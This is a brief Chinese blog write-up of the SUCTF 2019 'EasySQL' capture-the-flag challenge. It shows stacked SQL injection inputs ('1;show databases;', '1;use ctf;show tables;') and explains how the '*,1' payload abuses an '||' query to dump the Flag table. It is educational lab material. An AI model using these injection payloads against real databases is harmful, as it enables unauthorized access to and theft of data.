[SUCTF 2019]EasySQL 1
[SUCTF 2019]EasySQL 1
根据题目所得是个sql注入题,尝试万能密码

显示不对,说明存在输入过滤,尝试堆叠注入
1;show databases;
成功显示数据库列表,并且发现数据库ctf

查询数据表,查询出表Flag
1;use ctf;show tables;

尝试select * from Flag;发现出现错误
\
思考其sql语句为
select post输入框内容 from Flag;
*所以尝试修改输入框的内容为 ,无报错,但是也无任何回显

猜测查询是使用的sql语句是或(||)回显(如果前一个操作数为真,则不看后面的语句):
select post输入框内容 || flag from Flag;
构造payload:
*,1
获得flag

tips.
这里的原理是
sql="select post[‘query’] ||flag from Flag";
如果$post[‘query’]的数据为*,1,sql语句就变成了
select *,1||flag from Flag
就是select *,1 from Flag,这样就直接查询出了Flag表中的所有内容。
本文来自博客园,作者:TazmiDev,转载请注明原文链接:https://www.cnblogs.com/tazmi/p/18535672

浙公网安备 33010602011771号